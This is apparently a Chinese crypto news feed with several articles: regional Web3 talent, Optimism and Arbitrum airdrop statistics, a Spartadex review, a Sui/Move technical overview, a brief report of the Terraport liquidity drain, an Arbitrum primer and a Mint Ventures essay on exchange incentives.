目前台湾地区的本地交易所无法进行永续合约等衍生品交易，大部分用户都在国际交易所（币安、倒闭前的 FTX 等）进行交易，本地交易所主要被当作法币出入金通道； 中国加密领域的人才主要来自顶尖大学，CoinDesk 发布的 2022 年区块链领域最佳 100 所大学中，中国大陆共有 6 所大学上榜，包括北大（PKU Blockchain）、清华大学（THUBA）、上海交通大学、浙江大学、中山大学、复旦大学。 韩国区块链人才大多是在大学 / 研究生阶段学习区块链相关专业后进入行业（如高丽大学、西江大学、汉阳大学、韩国科学技术院），以及通过新人训练营进入行业（如 Codestates、Learnfree）。 台湾大部分学校都缺乏区块链专业教育，只有少数大学提供相关的项目、课程、学生团体活动，区块链人才库主要来自台湾的顶尖大学，如国立台湾大学正在开发的公链 OurChain、国立政治大学是台湾以太坊的研究重镇、国立清华大学成立亚洲首家专业区块链法律与政策研究中心等等。 到 2021 年底，中国开发人员数量超过 7300 万人，仅次于美国，Java 开发人员占 50%，76% 的程序员月薪超过 1200 美元，20.5% 的开发人员月薪在 2500 美元到 4500 美元之间。 阻碍开发人员进入 Web3 行业的主要原因包括对加密货币缺乏基本的了解、缺乏系统的方法来接触 Web3 行业、担心在中国的 Web3 行业工作不稳定或不合法等等。 中国的加密项目涵盖 DeFi、基础设施、GameFi、元宇宙等几乎所有领域，如 Loopring、Stepn、Lifeform、X2Y2、SpaceID、Conflux、Alchemy Pay、Animoca Brands、Certik 等。 韩国加密项目主要由两家大型科技公司（Kakao、Naver）和大型 Web2 游戏公司（WEMIX 等）推动。 台北以太坊 Meetup（TEM）是台湾地区最大的开发者社区，拥有超过 6000 名成员。此外在 DeFi 生态方面，有 Perpetual Protocol；钱包方面有 Blocto 等；NFT 平台开发有 Oursong、Lootex；以及一些创业社区如 Bu Zhi DAO 和政府参与的组织如 g0v。  ( 3 min )
    数据对比OP和ARB空投：OP单地址获利高，ARB获得空投用户多
    Arbitrum近期的空投无疑又一次成就了币圈的“造富”神话，如果与Optimism在去年5月底进行的第一轮空投相比，Arbitrum此次空投的“造富”效应如何？至今，Layer2四大明星项目中已有2个进行了空投，这激发了用户对ZkSync和Starknet也会在未来进行空投的强烈预期，那么Optimism和Arbitrum的空投规则分别是怎样的？有哪些共性可以为用户提供参考？另外值得关注的问题还有，空投会对网络的基本面以及生态带来怎样的影响？ PANews旗下数据新闻专栏PAData综合分析了空投数据和链上数据后发现： 1）Arbitrum此次空投的资金规模和用户规模都较Optimism第一轮空投的更大。 2）Arbitrum的空投或对普通用户更友好，而Optimism第一轮空投或对高活跃度用户更友好。从预估平均“造富”效应来看，大多数地址在Optimism第一轮空投中可以获利700美元；如果按照最大空投数量预估，则单地址最高可以获利4.5万美元。大多数地址在Arbitrum此次空投中可以获利1350美元；如果按照最大空投数量预估，则单地址可以获利1.38万美元。 3）Optimism第二轮空投大约为初始供应量的0.27%（11,742,277.10OP），相当于还剩下13.73%（589,553,144.34OP）没有空投。剩余部分可能被用于接下来的第3轮及更多轮。 4）部分获得Arbitrum空投的DAO考虑将获得的空投再一次空投给用户这可能形成了事实上的“第二轮”。137个DAO获得了7.5万ABR至800万ARB的空投，有19个DAO获得了超过200万ARB的空投，包括GMX、Uniswap、DOPEX等。 5）Arbitrum空投后至今，Nova的链上活跃度有小幅提升，日交易次数和日新增地址数都上涨超196%。这与传言Arbitrum未来可能激励Nova用户的消息有关，但目前这一消息仍然未得到任何证实。 6）Optimism和Arbitrum空投后都提升了其链上DeFi的总锁仓额，其中Optimism两轮空投后1个月内，总锁仓额分别上涨了101%和10%。Arbitrum此次空投后至今，总锁仓额也上涨了7.97%。 Arbitrum此次空投的规模较Optimism第一轮空投的规模更大。从空投的对象来看，Arbitrum此次空投不仅涵盖了62.51万个用户地址，而且涵盖了137个重要的DAO Treasury地址。而Optimism仅涵盖了24.87万个用户地址。 从空投的数量来看，Arbitrum此次空投的总额达到了12.75亿ARB，其中91%面向用户。而Optimism的第一轮空投总额为2.15亿OP。统一按照上线第一天的价格来预估，那么Arbitrum此次空投预估价值为17.15亿美元（Coingecko显示的上线第一天的价格约为1.35美元），Optimism第一轮空投预估价值为3.00亿美元（Coingecko显示的上线第一天的价格约为1.40美元）。 截至目前，Arbitrum此次空投已有88.49%的地址申领了89%的代币，直到9月23日之前，剩余的代币还可以被申领。相比之下，Optimism第一轮空投仅有63.07%的地址申领了76.28%的代币，空投完成度并不高。 那么，这么大规模的空投，每个地址大约能获利多少呢？ 根据Optimism官方社区公布的空投标准，单地址最少获得约272 OP，最高则能获得32432OP，不同地址获得的空投数量差异非常大。根据DuneAnalytics（@messari）的分组统计，42.12%的资格地址获得的空投数量＜500OP，38.28%的资格地址获得的空投数量介于500-1000 OP，也即超过80%的资格地址获利都在1000 OP以内。 如果将0-1000 OP的组别均值500 OP作为大多数地址（众数）获得空投数量，再结合空投当天及此后1个月内OP的收盘价来预估平均“造富”效应，那么，大多数地址可以获利700美元，空投后1个月内的最高获利为770美元。如果考虑单地址最高获利，那么按照最大空投数量预估，则单地址可以获利4.5万美元，空投后1个月内的最高获利约为5万美元。 再来看Arbitrum。根据Arbitrum基金会官网公布的空投标准，单地址可获得的空投数量在625 ARB至10250 ARB之间。根据DuneAnalytics（@0xroll）的分组统计，32.02%的资格地址获得的空投数量＜1000ARB，39.35%的资格地址获得的空投数量介于1000-2000 ARB，也即超过70%的资格地址获利都在2000 ARB以内。 同样将0-2000 ARB的组别均值1000 ARB作为作为大多数地址（众数）获得空投数量，再结合空投当天及此后至今ARB的收盘价来预估平均“造富”效应，那么，大多数地址可以获利1350美元，至今最高获利约为1400美元。如果考虑单地址最高获利，那么按照最大空投数量预估，则单地址可以获利1.38万美元，至今最高获利约为1.40万美元。 相比之下，在考虑单地址获利的情况下，大多数地址在Arbitrum此次空投中的获利（1350美元）大约是此前Optimism第一轮空投（700美元）的1倍左右，但单地址在Arbitrum此次空投中的最大获利（1.35万美元）却只有Optimism（4.5万美元）的30%左右。Arbitrum的空投或对普通大众更友好，而Optimism第一轮空投或对高活跃度用户更友好。 一般认为，代币在空投后会承受较大的抛压，价格会有所下降。从Optimism第一轮空投来看，事实确实如此。OP从空投当天的1.40美元下跌至1个月后的0.58美元，跌幅约为58.57%。ARB在空投后至今也有较大的波动，早期面临着较大的抛压。 进一步结合ETH的价格走势可以发现，OP空投后1个月内的价格走势与ETH的走势具有统计相关性，但ARB空投后至今的价格走势与ETH的走势则相反，但这可能受到Arbitrum基金会发起的综合治理包Arbitrum改进提案（AIP-1）受到社区质疑有关。这表明，代币价格在空投后的走势受到内外因双重影响，一方面，空投代币的价格走势与整个加密市场的大盘有一定的关联，用户的卖出策略需要考虑市场环境。另一方面，空投代币的价格还与社区共识和信心有关，空投将基金会、社区、开发者等角色更紧密的联结起来了。 Optimism在今年2月9日面向参与治理和积极使用网络的用户进行了第二轮空投，空投总额约为1174.23 万OP，有资格获得空投的地址数约为30.80万个。根据Optimism官方社区公布空投规则，OP初始总供应量将为4,294,967,296枚，其中19%（816,043,786.2OP）被用于空投。第一轮已经空投了5%（214,748,364.80OP），第二轮空投按照数量推测，大约为初始供应量的0.27%（11,742,277.10OP），相当于还剩下13.73%（589,553,144.34OP）没有空投。剩余部分可能被用于接下来的第3轮及更多轮。 从空投数量的分组来看，约72%的资格地址获得的空投数量都不到10 OP，如果结合组别均值5 OP和第二轮空投当天的价格来预估，则大多数地址只能获利13.8美元。“造富”效应远不如第一轮空投。 Arbitrum并没有在空投规则中表明还有未来还有其他轮次的空投，但是，此次空投中的一部分投给了DAO，部分项目将获得的空投再一次空投给用户，比如Srargate已经在为重新分配而投票了，这可能形成了事实上的“第二轮”。 Arbitrum对DAO治理下的协议的上线时间、本地或多链、TVL、交易量、交易价值等指标进行了综合评定，向137个DAO Treasury地址空投了7.5万ABR至800万ARB。其中，46%的DAO获得了7.5万ARB的空投，按照上线第一天的价格估计，相当于10.13万美元。另外有19个DAO获得了超过200万ARB的空投，把包括GMX、Uniswap、DOPEX等。 空投后Optimism链上活跃度下降，ArbitrumNova活跃度大幅上涨 空投的主要目的之一是为了通过激励用户从而提高网络的活跃度。根据统计，OP第一轮空投后1个月内，链上日交易次数从27.38万次下降至7.86万次，降幅为71.31%，日新增地址数从1.59万个下降至885个，降幅为94.42%。OP第二轮空投后1个月内，链上日交易次数从26.28万次上升至至27.90万次，小幅上涨了6.17%，日新增地址数从3071个上涨至6088个，涨幅为98.24%。 总的来说，OP空投后的短期内（第一次空投1个月内），链上活跃度没有提升，但长期内（第二次空投后1个月内），链上活跃度有所提升，但很难把这种提升只归结为空投。 Arbitrum的情况比较类似，根据统计，ARB空投后至今，此次空投的主要参考网络ArbitrumOne的日交易次数从273.39万次下降至100.67万次，降幅为63.17%，日新增地址从10.72万个下降至4.50万个，降幅为57.96%。可见，短期内（截至3月31日），链上活跃度同样没有提升。 不过同期ArbitrumNova的链上活跃度有小幅提升，空投后至今，日交易次数从8.65万次上升至25.68万次，涨幅为196.94%，日新增地址数从1931个上升至5725个，涨幅为196.48%。这与传言Arbitrum未来可能激励Nova用户的消息有关，但目前这一消息仍然未得到任何证实。 从中可见，用户出于对未来的空投预期，可能会积极参与链上交互，正如ArbitrumNova，以及ZkSync和Starknet近期的链上数据表现的那样，不过，这种预期驱动的行为不一定具有长期延续性，或者说，不一定对广泛的普通用户具有长期延续性，因此不至于表现为链上数据的长期上升趋势，正如ZkSync和Starknet当前的链上数据已经开始回落一样。对于链上活跃度的提升而言，可能受到更复杂的因素影响，空投只是其中之一。 空投的另一个主要目的是推动链上生态的发展，同时用户与链上协议的交互行为往往也是空投的依据。根据统计，Optimism和Arbitrum空投后都提升了其链上DeFi的总锁仓额，其中Optimism第一轮空投后1个月内，总锁仓额上涨了101.18%，第二轮空投后1个月内，总锁仓额上涨了10.25%。Arbitrum此次空投后至今，总锁仓额也上涨了7.97%。 不过，头部协议在空投后的锁仓量涨幅不一。其中，Uniswapv3的锁仓量在Optimism第一轮空投后1个月内上涨了111.38%，SonneFinance的锁仓量在Optimism第二轮空投后1个月内上涨了136.18%，涨幅显著。Arbitrum空投后至今，AAVE v3HE ArbitrumExchange的锁仓量涨幅较明显，都在25%以上。  ( 2 min )
    Spartadex：真实收益DEX，通过游戏化形式引入流动性
    最近的一个新项目：Spartadex（https://twitter.com/spartadex_io） Spartadex的做法是，通过游戏化的形式来吸引流动性。 传统的DEX是通过流动性挖矿来吸引LP，有的是平缓的收益率，有的是超高的收益率。超高收益率是短期拉高token价格然后迅速回落。随着发展又延伸出vetoken经济学，以此来建立更深度的流动性。 和传统游戏化模式不同的是，Spartadex的这个新模式更像是DEX和GAMEFI的组合——带点小ponzi。其实可以说，Spartadex引入了DeFi、GameFi和PFP NFT，把所有的产品都缝到了自己的产品中。 DeFi就是DEX。Spartadex走的真实收益路线，Token质押参与分红（DEX费用、GameFi费用）。 GameFi就是建立深度流动性的手段。传统GameFi的逻辑其实就是买一个NFT，质押NFT获得收益。后面更多GameFi的逻辑就是把这个经济系统做得复杂一些，但也掩盖不了ponzi的本质。 现在Spartadex做的是在DeFi的基础上引入一个游戏层。这个游戏层的NFT，也就是准入门槛。这个门槛不是一个可能归0的NFT，而是一个由LP资产支撑的价值标的（至少不会亏很多，代价是LP有退出门槛，退出手续费会永远留在池子里）。 我们可以在LP的基础上建立自己的NFT王国，通过升级建筑来提升自己LP的APY。 和其他GameFi项目一样的就是它有一个子币，子币是用来升级建筑的重要道具。 其他建筑还有挖矿的，研究科技（各类buff）的。最重要的是还有一些军事建筑，主要是用来play2earn的——攻击蛮族赚子币和地图NFT碎片，或者防御蛮族保护自己的资源。从白皮书的角度来看，子币收益不高（具体没上线我也不太清楚），主要是赚地图NFT碎片。地图碎片又能每个月抽奖，中奖了获得Spartadex token。 项目方给子币设置了诸多utility，以增加市场对于子币的需求。 总的来看，ponzi属性不大。 PFP NFT发行就是融资手段。当然，PFP NFT也是一种维护社区粘性的手段。 项目方会给PFP NFT空投代币，PFP NFT Holder可以在游戏中获得特殊任务等等。后续也会有新的utility。（画大饼） 1、Spartadex这样的设计会增加用户粘性和活跃度。 2、Spartadex并不是一个纯粹的GameFi项目，更多吸引的还是DeFi用户。希望做LP的用户大多更有粘性。 3、Spartadex基本无法吸引GameFi用户——因为Play2Earn的奖励少，大头还是做LP收益。但是问题在于退出效率变低了，可能会让一些LP大户谨慎进入。 4、Spartadex有一个能够有效提升代币价格的逻辑：收入回购、只能通过Spartadex token来购买子币、LP收入75%直接质押到协议分红池。这75%马上提现的话会扣50%，每天减少0.5%，也就是做长期用户粘性和激励。总体而言是一个ponzi，但是链条较长，所以能够参与的时间会比较长。 5、早期Spartadex需要用户的进入，没有用户LP飞轮转不起来。目前来看，Spartadex的社群热度还可以，一直有人讨论和参与测试。现在看来，英文区热度>中文区热度。  ( 1 min )
    Sui公链技术特性分析：为什么适合DeFi项目部署？
    原文：《Why DeFi on Move/Sui? A Two-Part Deep Dive.》 编译：SUI World 众所周知，SUI Network 是基于Move 语言的新L1 公链之一，它的技术发展得到了很多开发者和创业者的关注。目前已经有数十个Defi 项目在SUI 测试网运行，Defi 是区块链生态项目不可缺少的一部分。本文将向大家展示SUI Network 和Defi 开发的适配性，为什么创业者会选择在SUI 上构建Defi 项目？ Move 最初是由 Facebook 为 Diem 区块链开发的，该区块链最初设想为全球金融赋能数十亿的金融基础设施。Move 被设定为一种为运行数字资产而设计的语言，它必须能够以精确、可理解和可验证的方式表达 Libra 货币和治理规则。 从长远来看，Move 必须具备对构成金融基础设施的各种资产和相应的业务逻辑进行编码的能力。Move 对此的解决方案是将资产编程为「头等资源」， 用户可以通过资源的4种不同能力轻松定义和操作数字资产： 1. Copied copy 2. Indexed key 3. Discarded drop 4. Stored store 为了促进健壮且可扩展的 DeFi 生态系统，需要编程语言以 3 种方式提供支持： 1. 数字资产的稀缺性 2. 加强访问控制 3.资产安全 稀缺性是有价值的实物资产的重要属性，但数字资产不存在内在的实物稀缺性，数字资产计算规则必须以编程方式强制执行稀缺性。也就是说，系统内的资产供给不能无限制的，必须完全禁止代码漏洞导致资产被复制。 对此，为了实现稀缺性，Move 规定资产永远不能被复制或隐式丢弃，只能在存储位置之间移动。（因此得名“Move”。） Move 有一个由字节码验证器强制执行的类型系统，每当开发人员将 Move 字节码发布到区块链以防止滥用资产价值时，该验证器就会运行。 复制——如果我编写了一些将代币作为输入的函数，然后尝试编写另一个代码来复制该代币，类型系统将产生错误。 双花——如果我有一枚代币，并且我正试图将它传递给某个接受该代币作为支付的函数，它会阻止发送该代币两次。 销毁——如果我采用某个以代币作为输入的函数，我不应该能够重新分配持有该代币的变量，因为销毁就是把代币扔掉。 Move语言的这些设计确保了数字资产的行为与实物资产一样保证稀缺性。 在 Solidity 中，数据集中存储在合约中，当合约存在漏洞时，黑客一旦获得合约权限，所有用户数据都会被攻击。 Move 开发团队认为数据应该存储在拥有它的账户中，而不是在合约中。Move 中的模块可以是库或程序，可以创建、存储或传输资产。就像以太坊中的合约，但更像是使用面向对象编程的银行。Move 指定只有公共模块可以被其他模块访问，结构中的字段只能在其模块内访问和更改，每个资源都存储在所有者帐户控制的模块中。 此功能允许在智能合约中维护数字资产的所有权信息和特权，如果资产被发送到智能合约，所有权不会改变。一个更简单的例子是，如果黑客获得了 Move 智能合约的访问权限，他/她也将无法将资产提取到自己的钱包中。 DeFi 安全风险越来越令人担忧，1 亿美元以上的黑客攻击已成为新常态。据慢雾科技统计，2022 年上半年 DeFi 安全事件约 100 起，损失超过 16亿美金，其中主要的原因是项目缺陷和合约漏洞。 作为一门专注于金融场景的语言，Move从设计上借鉴了Solidity可能存在的安全漏洞，非常重视“智能合约的安全性和正确性”。 许多常见的错误可以通过移动字节码验证器来防止，该验证器在执行之前检查每个字节码程序，由验证者执行安全预防措施，开发人员无法通过跳过编译器并直接在字节码中编写代码来绕过它们，每当将代码发布到区块链时，它都会直接执行。 前面提到的资产稀缺性是通过字节码验证器实现的，默认强制稀缺性，开发人员依靠语言的强大支持来确保无论攻击者试图做什么，他们的代码中的不变性都将保持不变。 上面提到的所有属性是关于Move 语言的，而不是Sui 本身的，接下来，一起来谈谈Sui 为什么适合部署Defi 协议，主要有三个原因： 1. 共识机制 2. 平行协议 3. 存储基金代币经济学 Sui 上的共识分为两种 —— 拥有的对象和共享的对象。 拥有的对象由单个地址拥有，包括简单的 txns，如 p2p token 传输、大规模铸造 NFT 等。 简单的 txns 使用拜占庭一致性广播，这是一种绕过共识的算法。 由于验证者不需要相互通信（在传统共识的情况下），该算法允许简单的交易使用非常少的计算资源。 Sui 上的共享对象是没有特定所有者的对象，任何人都可以读取或写入，场景主要包括复杂的 DeFi 交易，如 AMM、公开竞价的拍卖或接受任意交易的中央限价订单簿。 对于复杂的交易，Sui 使用 Narwhal-Bullshark 共识引擎。该机制有两个主要组成部分：Narwhal（Sui 的内存池）和 Bullshark（确保交易顺序）。 将 Narwhal 想象成一个管家，控制未决的共识交易，它本质上需要一堆待处理的交易，并将它们形成一个无领导的批次图，这些批次被标记为集合。图结构允许在每一轮中在系统中插入更多交易，证书证明每个集合在每一轮的数据可用性。 通过 Narwhal，交易被创建到一个有向无环图 (DAG) 中，可以把它想象成一个文件树，其中活动的顺序通过图形直观地呈现出来。 Bullshark 针对 Narwhal 提供的 DAG 结构进行了优化，专注于减少网络上验证者之间的通信开销。 最初的 Narwhal 和 Tusk（Bullshark 的前身）论文指出，当 Narwhal 和 Tusk 结合使用时，它们可以达到“160,000 tx/sec，延迟大约 3 秒”。 Yuga Labs 的 Otherside NFT 推出时是历史上规模最大的NFT mints，在Mint 的过程中，由于规模太庞大对以太坊的gas 需求远远超过链上任何一个时期，导致Etherscan 崩溃，这是以太坊网络的黑暗时刻。 Solana 上发生的情况更为糟糕，由于大量铸造 NFT 的需求造成了网络拥堵，甚至造成网络多次完全宕机。 通过Sui 的共识机制，Sui 验证者不会面临与以太坊或 Solana 相同的计算压力，像 NFT 大量铸造这样的交易与涉及 DeFi 活动的交易是分开的，它绕过了共识，因此为 DeFi 释放了验证节点和共识资源——为处理和部署 DeFi 交易提供了一个不那么拥挤但却稳定的环境。 EVM 的主要限制之一是交易的顺序执行，一次执行一个交易，所有其他交易都被搁置，直到它完成执行，该模型允许潜在有趣的用例，但不可能实现扩展或高效执行。 并行执行识别独立交易，它可以同时执行它们，然后对相关交易进行排序以供执行，并行处理的概念很简单，挑战在于识别交易之间的依赖关系。Sui 利用 Move 强大的所有权类型和它以对象为中心的数据模型来明确识别交易之间的依赖关系，由于 Sui 上的对象代表资产并且可以共享，因此很容易通过检查交易是否使用相同的对象来识别依赖关系。 正如前面在共识机制中解释的那样，拜占庭一致性广播理论上允许 Sui 无上限地水平扩展以满足应用程序需求，同时保持极低的每笔交易运营成本。 这一设计突破消除了现有区块链中的一个关键瓶颈：需要就总有序交易列表达成全球共识。 区块链的强大之处在于它允许我们将数据写入其中并在以后读取的能力，挑战在于从写入数据到读取数据，都会产生经济成本。 在以太坊上，写入 1MB 的数据需要花费数万至数十万美元，验证者需要存储大量数据来运行网络，并且通常会将这些成本转嫁给最终用户，这是一个迫切需要解决的市场需求。 存储的问题是时机，经济学家称之为外部性，今天将数据写入存储的用户不会将其成本内部化，而未来的用户被迫为他们不拥有的过去存储付费。一个简单的类比是： Alice 从一开始就使用 Sui Network，虽然链上存储的数据还不多，但她享受低 gas 费用。 Bob 在 Sui Network 成熟后开始使用，因为届时链上存储了大量数据，Bob 被迫支付高额 gas 费用。 Sui 的代币经济学旨在永远解决存储成本问题。当用户在 Sui 上进行交易时，他们需要预先支付计算和存储费用，存储费存入存储基金，用于调整分配给验证者和委托者的未来股权奖励的份额。 存储基金由过去的交易提供资金，并用作跨不同时期转移GAS费的工具，它包括一个删除选项，允许用户在删除以前存储的链上数据时获得回扣，这会激励用户考虑将不必要的数据从链上删除。 这种用户通过按期付费结构为存储付费的租赁模式，引入了一种基于市场的机制，当链上数据过载的时候能够让用户主动释放存储，DeFi 协议可以删除过去已经结束的拍卖，NFT 协议可以删除不再存在的 NFT 元数据等，能有效帮助部署在SUI 上的协议降低成本。 总的来说，面向资产的编程设计使得 Move 语言非常适合部署 DeFi 应用程序，访问控制、形式化验证等技术逻辑为去中心化资产的安全提供多重保障。 Sui Move 不仅利用了 Move 的所有权/面向资产的编程设计，其基于对象的数据模型也起到了锦上添花的作用。通过设计，Sui 验证者可以有效地无限扩展网络吞吐量，以满足构建者和创作者的需求，Sui 的可扩展性不仅限于交易处理，也使存储变得低成本和水平可扩展的。  ( 3 min )
    Terraport项目疑似遭遇攻击，损失近400万美元
    PANews 4月10日消息，据The Crypto Basic报道，Terra Classic独立开发团队TerraCVita推出的去中心化金融项目Terraport遭到黑客攻击，其所有流动性都被耗尽。Terra Finder数据显示，价值近400万美元的LUNC、USTC和TERRA代币已被清空。攻击者在第一笔交易中提取了9,148,426枚TERRA和151亿枚LUNC，并在第二笔交易中提取了576,736枚TERRA和5,487,381枚USTC。 Terraport智能合约目前持有价值362美元的280万枚LUNC。截至发稿时，TerraCVita和Terraport团队尚未发表任何官方声明，这引发了人们猜测这可能是黑客攻击或精心设计的Rug Pull计划。 TerraCVita核心团队成员Classy Crypto在推特上证实了此次攻击事件，但其与该事件保持距离，称其没有获得任何代币或补偿，且他的亲戚因此事件损失了数千美元。他还删除了之前所有关于Terraport的推文，并在推特简介中删除与TerraCVita的从属关系。  ( 1 min )
    新人科普 | 以太坊layer2龙头Arbitrum入门
    作者 | 火火 出品｜白话区块链（ID：hellobtc） 去年下半年，整个加密市场处在深熊困境当中，但Arbitrum生态代表项目GMX和Treasure DAO依然逆势增长，进入2023年以来，随着市场整体回暖，Arbitrum生态更是全面开花。 尤其是在Arbitrum 宣布发放治理Token ARB，直到现在，Arbitrum依旧是各大社群讨论的热点。 不过关于Arbitrum你了解多少？Arbitrum为什么要发放Token ARB？又有什么作用呢？今天白话区块链给您解读一下。 Arbitrum由是一种基于Optimistic Rollup技术的以太坊Layer2 扩展解决方案，由知名的区块链研究人员和软件工程师组成的团队Offchain Labs 于 2021创建，旨在解决以太坊上的拥堵和高gas费问题。 也可以理解为，Arbitrum是以太坊的辅助链。运行原理简单说就是Arbitrum 将很多交易一起打包，在Arbitrum链上先进行结算，然后再将交易数据提交给以太坊主链。 在所有Layer2中，Arbitrum是二层中主网上线最早的，占据一定的先发优势。同时，Arbitrum近乎100% 和以太坊EVM兼容，使得以太坊网络上的应用可以无缝迁移到Layer2上。主网上线时，就有以Uniswap V3为首的74个项目部署在上面。 如图所示，迄今为止，Arbitrum的TVL占二层总量的近66%，可以说是目前Layer2中当之无愧的龙头。 目前Layer2项目前十名TVL市场份额排名，来源：L2beat 在Layer2 赛道， 竞争者很多，但是与竞品相比，除了先发优势之外，Arbitrum具有显著优势还有： 从数据来看，因为具有 EVM 等效性、开发门槛低、大量应用快速成熟，就形成了有效的生态壁垒Arbitrum 的交易数和活跃地址数在远超 对手，并形成趋势, TVL 一路向上。 另外在用户体验方面，Arbitrum 因为EVM兼容，可以直接在以太坊小狐狸钱包MetaMask 上使用，这比很多其他不兼容竞争对手的更吸引用户。 在不到两年的时间里突然崛起，Arbitrum成为以太坊上最受欢迎的第2 层区块链之一，不得不说，实力确实不容小觑。 ARB是Arbitrum网络的原生Token，采用的标准是以太坊ERC-20，是Arbitrum网络的治理和激励Token，主要用于奖励验证节点、参与网络治理等，具体来说： 奖励验证节点：参与Arbitrum网络的验证节点将获得ARB奖励作为对其贡献的回报。即验证人需要在Arbitrum网络上质押一定数量的ARB，作为维护网络安全和可靠性的激励。如果验证人违反网络规则或出现故障，他们将失去一部分质押，以鼓励他们遵守网络规则和保持节点稳定运行。 参与网络治理：ARB持有者可以参与Arbitrum网络生态的治理，因为3 月 23 日进行空投的时候也一并成立了 Arbitrum DAO（去中心化自治组织），持有 ARB 的 DAO 成员将能够参与 Arbitrum 链的治理，例如投票决定一些重要的协议变更和提案，或者提供给用户一定的奖励，以鼓励用户参与生态系统的建设和发展。 不过需要注意的是ARB不能用作交易gas，即ARB只是一个治理token，不用于支付Arbitrum链上的任何费用。目前，用户在Arbitrum链上交互支付的Gas费仍是ETH。 总得来说，除了不能担当gas费用的功能之外，ARB对Arbitrum网络的运营和发展具有重要的意义，能有效的促进Arbitrum生态系统的安全、稳定和发展。 综上所述，Arbitrum优势吸引了众多多 DeFi 原生项目，为Arbitrum生态带来了稳定的用户基础，也为孕育 DeFi 创新应用创造了一个包容度很高的环境。 未来 Arbitrum 在 DeFi 层面的发展值得期待。  ( 2 min )
    交易平台激励模式思考，流动性和交易行为哪个更值得激励?
    机构：Mint Ventures 作者：Alex Xu, Mint Ventures研究合伙人 本篇文章属于Mint Ventures的Mint Clips 系列。Mint Clips是我们对于行业事件，在内外部交流后的一些思考。相对于我们的#深度研报 和#赛道扫描 系列文章，Mint Clips并不讨论特定的项目，主要呈现对于特定议题的“阶段性洞察”。 本篇内容来自于Mint Ventures小组的一次在线讨论，当时我提出了两个问题，我们的研究员Lawrence和投资经理Scarlett给出了自己的想法，再结合了我对该问题的思考和延展，构成了本篇Clip的主要内容。 我提出的两个问题是： 1.交易平台的代币激励，是应该激励流动性，还是应该激励交易量？为什么？ 2.假设平台有交易激励机制，为了获得激励的刷量交易（wash trading）对于协议来说利弊哪个更大？为什么？ *需要说明的是：以上两个问题中的“交易平台”是泛指，包括现货Dexs（Uniswap、Curve）、去中心化衍生品项目（Gmx、Gains）以及Blur这样的NFT交易平台，甚至包括中心化交易所（尽管他们目前大多没有直接的流动性或交易挖矿机制）。 以下文章内容为笔者和团队截至发表时的阶段性看法，可能存在事实、观点的错误和偏见，仅作为讨论之用。 起源：交易平台为什么要发行权益代币和进行激励？ 在笔者看来，交易平台类项目（包括现货、NFT、衍生品）之所以要发行权益代币，主要有三个原因： 1.代币募资。这条好理解，不做赘述。 2.去中心化治理。权益代币的出现和分发是社区化治理的前提条件。 3.增长和经济系统调节手段。 然而从Web3的商业实践来看，1、2两条并非必选项，因为： 1.项目可以进行股权融资。 2.中心化的治理仍然是企业和项目运营的主流，甚至大部分已经开始去中心化治理的项目的治理内容和表决，实际上也集中在团队和相关机构手中。 真正重要的或许是第三条：一个项目拥有了代币这一手段后，相对于无代币项目，其用于增长的激励资源以及项目经济系统的调节能力都大大提高了。 而交易平台类项目进行代币激励（无论是激励流动性还是激励交易行为），其核心目的一般只有两个，即： 1.新项目实现冷启动，通过代币激励为产品吸引最初始的双边用户（Uniswap在Dexs大战早期阶段也进行了代币激励）。 2.做大双边市场，并期待通过代币补贴加速跨边网络效应的扩大，形成对于竞品的壁垒。 这里说的“双边”，对于大部分交易平台来说，就是流动性提供者一边，和交易者一边。由于平台的双边是相互依存和互利的，即：如果没有人提供流动性，则交易无从进行；而没有交易意味着没有手续费回报，也不会有人愿意来提供流动性。反之，流动性越丰富（在同样的产品机制下）交易损耗越低，交易者越愿意来这里交易，手续费也就越多，手续费越多则流动性回报越多，流动性就越丰沛。 这种因为“一边的用户增长，会给另一边用户提供更大的价值”的情况，是网络效应的一种，即“跨边网络效应”。而网络效应是商业项目最重要的护城河之一。 对于新项目来说更是如此。 如果说Uniswap创建之初还可以由于缺乏竞争（DeFi的价值尚未形成共识），仅依靠尝鲜用户和早期用户的自然需求就能实现初期的增长，那么在交易平台类赛道如此拥挤、产品迭代日新月异的当下，一个双边\多边模式的交易平台想要在不提供激励（或是空投预期）的情况就成功冷启动已经难如登天。 所以说，目的1（冷启动）是2（跨边网络效应）的前置动作，2的最终目的是形成竞争优势（垄断地位），以此为基础实现和扩大盈利（协议收入＞代币补贴开支）。 那么，由于跨边网络效应的存在，交易平台无论是激励流动性提供者还是交易者，似乎都可以起到迂回地激励另一边的用户的作用，那么这是否意味着： 激励LP=激励Trader？ 实际上，无论是激励流动性还是激励交易，早在DeFi Summer之前就早已有之。比如中心化交易所大多有对合作做市商的激励计划，其目的是为了让它们在自己平台提供良好的交易深度，让其他交易者获得低滑点的交易体验，这类似于流动性激励，只不过这类激励大多以手续费减免和返还的方式进行，大多与平台自身的权益代币无关。 交易激励\挖矿的最早试水者同样是中心化交易所，由Dragonex（龙网）在2018年率先实践，推出了根据交易量奖励平台代币（DT），基于平台代币分红交易手续费的“交易挖矿”机制。 这一机制而后由Fcoin进一步“发扬光大”。在交易挖矿上线后，这两大交易所的业务都实现了飞速的增长。尤其是Fcoin，作为“交易所大战”的后进者，其高峰时期的单日交易量是其他所有一线CEX之和。 然而，无论是Dragonex还是Fcoin的辉煌都没有持续太久，前者由于被盗资不抵债倒闭，后者由于所谓的“内部财务错误”亏空巨大而倒闭。两个平台倒下的原因略有差别，但共性是财务亏空，前者是因为外部攻击，后者则是内部问题。 但我们不禁要问：如果当年没有被盗事件和内部财务问题，交易挖矿能否帮助它们稳住在交易量上的市场份额，形成壁垒？ Uniswap的出现把AMM机制进一步推向市场，这一机制大大降低了流动性做市的门槛，也给流动性挖矿的激励提供了天然的便利，Sushiswap通过自己代币对LP的补贴一度迅速抽离了Uniswap的大量流动性，导致当时Uniswap短时间也推出了流动性挖矿计划来作为应对。 除了Dexs之外，Looksrare、X2Y2以及Blur等NFT交易平台也开展了对于流动性激励的大量实践，将补贴的战场从同质化代币（FT）迁移到了NFT领域，也是从Blur开始，Opensea感到了明显的威胁，开始实践0手续费来应对。 另一方面，或许是由于Fcoin惨烈的失败犹言在耳，DeFi领域比较大的交易挖矿实践还要到DyDx推出代币之后，而后的实践者还包括Okchain上的Dex项目Cherry，以及BSC上的Dinosauregg等等，比较新的包含交易激励的项目还有level、gridex、kwenta等等。但从整体来说，以交易为主要激励对象的项目还是少数。 